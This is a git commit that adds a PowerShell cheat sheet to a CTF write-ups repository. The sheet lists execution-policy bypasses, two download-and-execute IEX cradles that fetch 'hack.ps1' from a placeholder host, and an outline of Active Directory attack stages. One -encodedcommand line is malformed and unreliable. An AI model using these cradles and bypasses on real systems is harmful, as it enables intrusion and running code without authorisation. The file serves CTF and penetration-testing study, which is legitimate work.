mirror of
https://github.com/AbdullahRizwan101/CTF-Writeups
synced 2024-11-24 04:53:02 +00:00
Add files via upload
This commit is contained in:
parent
6de30848b3
commit
bfdc48cc8f
1 changed files with 36 additions and 0 deletions
36
Active Directory/Powershell.md
Normal file
36
Active Directory/Powershell.md
Normal file
|
@ -0,0 +1,36 @@
|
|||
## Powershell basic help commands
|
||||
|
||||
`Get-Help`
|
||||
|
||||
`Get-Help process`
|
||||
|
||||
## Powershell Execution Policy bypass
|
||||
|
||||
`powershell -ExecutionPolicy bypass`
|
||||
|
||||
`powershell -c <cmd>`
|
||||
|
||||
`powershell -encodedcommand $env:PSExecutionPolicyPreference="bypass"`
|
||||
|
||||
## Powershell importing module / scripts
|
||||
|
||||
`Import-Module <module_path`
|
||||
|
||||
listing commands in the module
|
||||
|
||||
`Get-Command -Module <modulename>`
|
||||
|
||||
## Download and execute
|
||||
|
||||
`IEX (New-Object Net.WebClient).DownloadString ('http://ip/hack.ps1')`
|
||||
|
||||
`IEX (iwr 'http://ip/hack.ps1')`
|
||||
|
||||
Recon
|
||||
Domain Enum
|
||||
Local priv
|
||||
Admin Recon
|
||||
Lateral Movement (while being persistant)
|
||||
Domain
|
||||
Admin priv
|
||||
Cross Trust Attacks
|
Loading…
Reference in a new issue